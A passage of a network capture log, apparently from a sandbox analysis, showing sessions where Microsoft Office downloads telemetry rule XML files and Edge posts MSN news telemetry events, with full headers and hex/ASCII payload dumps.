<UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:40 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:40 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113540Z-16547b76f7fht2hfhC1DFWbngg00000004k000000000agsw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:40 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:40 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:40 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113540Z-16547b76f7fk9g8vhC1DFW825400000004vg00000000ek5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:40 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49905	20.42.65.85	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:40 UTC	1036	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731843338277&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10944 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=26C7834DE9B0666626559677E895674C; _EDGE_S=F=1&SID=3725C0F51DA26D161494D5CF1C466C4A; _EDGE_V=1; _C_ETH=1
2024-11-17 11:35:40 UTC	10944	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 37 54 31 31 3a 33 35 3a 33 38 2e 32 37 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 64 64 63 31 39 32 66 2d 64 34 31 36 2d 34 31 31 66 2d 39 64 39 63 2d 39 66 64 33 64 33 32 35 64 32 62 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 30 37 37 36 37 39 34 34 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-17T11:35:38.275Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"3ddc192f-d416-411f-9d9c-9fd3d325d2b5","epoch":"1077679444"},"app":{"locale
2024-11-17 11:35:40 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=e51988f9a92e44d69165d4810c790daa&HASH=e519&LV=202411&V=4&LU=1731843340248; Domain=.microsoft.com; Expires=Mon, 17 Nov 2025 11:35:40 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e83c4b8361f048baacb0b037df27538f; Domain=.microsoft.com; Expires=Sun, 17 Nov 2024 12:05:40 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1971 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 17 Nov 2024 11:35:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:40 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:40 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: ae8c5328-c01e-0034-77cb-362af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113540Z-164f84587bfjxw6fhC1DFWq944000000049g00000000as9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:40 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49906	20.42.65.85	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:40 UTC	1035	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731843338281&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4780 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=26C7834DE9B0666626559677E895674C; _EDGE_S=F=1&SID=3725C0F51DA26D161494D5CF1C466C4A; _EDGE_V=1; _C_ETH=1
2024-11-17 11:35:40 UTC	4780	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 37 54 31 31 3a 33 35 3a 33 38 2e 32 37 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 64 64 63 31 39 32 66 2d 64 34 31 36 2d 34 31 31 66 2d 39 64 39 63 2d 39 66 64 33 64 33 32 35 64 32 62 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 30 37 37 36 37 39 34 34 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-17T11:35:38.279Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"3ddc192f-d416-411f-9d9c-9fd3d325d2b5","epoch":"1077679444"},"app":{"locale
2024-11-17 11:35:40 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=006cfc32e190479ba5351b8dba4cb74a&HASH=006c&LV=202411&V=4&LU=1731843340256; Domain=.microsoft.com; Expires=Mon, 17 Nov 2025 11:35:40 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=2b90215f6c6b4aaea82188e339a504ea; Domain=.microsoft.com; Expires=Sun, 17 Nov 2024 12:05:40 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1975 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 17 Nov 2024 11:35:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49912	20.42.65.85	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:40 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731843338959&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5284 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=26C7834DE9B0666626559677E895674C; _EDGE_S=F=1&SID=3725C0F51DA26D161494D5CF1C466C4A; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-17 11:35:40 UTC	5284	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 37 54 31 31 3a 33 35 3a 33 38 2e 39 35 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 33 64 64 63 31 39 32 66 2d 64 34 31 36 2d 34 31 31 66 2d 39 64 39 63 2d 39 66 64 33 64 33 32 35 64 32 62 35 22 2c 22 65 70 6f 63 68 22 3a 22 31 30 37 37 36 37 39 34 34 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-17T11:35:38.957Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"3ddc192f-d416-411f-9d9c-9fd3d325d2b5","epoch":"1077679444"},"app":{"locale
2024-11-17 11:35:41 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6aadebac818e421ebb36ba15c62bde90&HASH=6aad&LV=202411&V=4&LU=1731843340967; Domain=.microsoft.com; Expires=Mon, 17 Nov 2025 11:35:40 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=068deec699fb4e698d80b22726335c78; Domain=.microsoft.com; Expires=Sun, 17 Nov 2024 12:05:40 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2008 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 17 Nov 2024 11:35:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:41 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: bc853cf7-701e-006f-6009-37afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113541Z-16547b76f7fp6s5dhC1DFWe28g00000001d000000000asaw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:41 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: ebe65da0-001e-0014-21b1-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113541Z-164f84587bf5rpzqhC1DFWmra800000004ag000000001z7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 11:35:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:41 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113541Z-16547b76f7fr5rfnhC1DFW0am400000001mg00000000caw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:41 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:41 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 970a151a-f01e-003f-26c9-36d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113541Z-164f84587bf28gjzhC1DFW35kg000000042000000000c17y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:41 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" 